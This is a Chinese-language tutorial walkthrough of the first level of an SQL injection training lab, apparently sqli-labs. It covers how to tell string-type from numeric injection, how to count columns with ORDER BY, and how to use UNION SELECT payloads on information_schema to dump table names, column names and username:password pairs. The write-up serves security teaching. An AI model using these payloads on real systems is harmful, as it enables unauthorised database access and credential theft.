lesson-1-GET-Error based - Single quotes - String
一、判断是否存在注入点
使用单引号 ’ 判断是否有注入点
**
**
sql注入单引号会报错的原因有:
1.不符合sql语法规则,如:
//一开始SQL语句是这样的:
select * from users where id='1'
//当加单引号后变成了这样:
select * from users where id='1''
2.没有进行过滤以及设置其他防护手段。
二、判断注入类型
SQL注入之数字型注入和字符性注入:
数字型注入:不需要闭合
字符型注入:需要闭合
如何判断属于那种注入?
1、用减法判断:利用id=2-1 如果返回的是id=1的结果,则是数字注入,否则是字符注入
假设是字符型注入,当输入1,2-1 ,有
select * from table_name where id = '1'
select * from table_name where id = '2-1'
返回结果不一致,所以为字符型注入。
2、用 and 1=1 和 and 1=2 来判断,两者都能正常回显则是字符型注入,否则是数字型注入
假设,这是字符型注入的话,输入以上语句之后应该出现如下情况:
当输入1 and 1=1,1 and 1=2时,后台执行 Sql 语句:
select * from table_name where id = '1 and 1=1'
select * from table_name where id = '1 and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上报错结果,故假设是不成立的。
3、用 and ‘1’='1 和 and ‘1’=‘2来判断,1’ and ‘1’ = ‘1,页面运行正常,而1’ and ‘1’ = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
使用 and '1'='1 和 and '1'='2来判断:
url中输入1' and '1' = '1,页面运行正常,继续进行下一步。
url中继续输入1' and '1' = '2,页面运行错误,则说明此 Sql 注入为字符型注入。
解释:
当输入 and '1'='1时,后台执行 Sql 语句:select * from table_name where id = '1' and '1'='1' 语法正确,逻辑判断正确,所以返回正确。
当输入 and '1'='2时,后台执行 Sql 语句:select * from table_name where id = '1' and '1'='2’语法正确,但逻辑判断错误,所以返回异常报错。
用减法判断
当id=1 ,得到结果 dumb,dumb
当 id=2-1,得到结果为Angelina ,
两种方式得到的结果不一致,所以存在字符型注入。
三、破解 SQL 查询语句中的字段数
?id=1’ order by 3 --+ // --+ 是注释
order by 1 ,by 数字几,就是按照第几列进行排序;如果没有这一行,则报错
如:以下语句,根据第一行排序
select * from table_name order by 1
order by 3 ,正常返回;order by 4, 报错;所以sql查询语句有三列;
+ 加号 在MySQL中会转成空格
四、获取当前数据库
联合查询猜数据库:
-1’ union select 1,2,database()
解析:id=-1, 此处 id 的值必须是一个在数据库中 id 字段不存在的值,否则联合查询第一条语句的查询结 果将占据显示位,需要的第二条查询语句的查询结果就不能正常显示到浏览器中。
得到数据库名为:security
五、获取数据库中的表
关键的三张表:SCHEMATA、TABLES、COLUMNS,它们分别能爆出数据库名,表名和字段名。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema(哪个库),表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
要记住COLUMNS表中记录数据库库名、表名、字段名为 table_schema、table_name、columns_name
常用到的三个字段名:TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME
构造uniot select 爆破表名
// 根据数据库名,得到表名table_name
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
爆破出表:emails,referers,uagents,users
六、获取表中的字段名
根据上面得到的四张表名,可以爆破表里的字段名;以users为例
构造uniot select 爆破字段名
// 根据表名,得到字段名 column_name
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'
爆破得到字段:id、username、password
七、查询到账户的数据
根据爆破出的字段,查询数据
构造uniot select 爆破数据
// 根据字段名,得到数据
-1' union select 1,group_concat(username,':',password),3 from users
至此,第一关完成;
注:concat是针对一行数据多个字段拼接,而group_concat是针对多行数据拼接,且group_concat自动生成逗号。
union select 联合查询 ,即合并取交集,结果中没有重复行,前后两个查询;前提是前后查询视图必须拥有相同数量的列,列也必需拥有相同的数据类型。
MySQL 提供了以下三种注释方法:
#:不建议直接使用,建议使用其 URL 编码形式%23
--+:本质上是--空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``--%20
/**/:多行注释,常被用作空格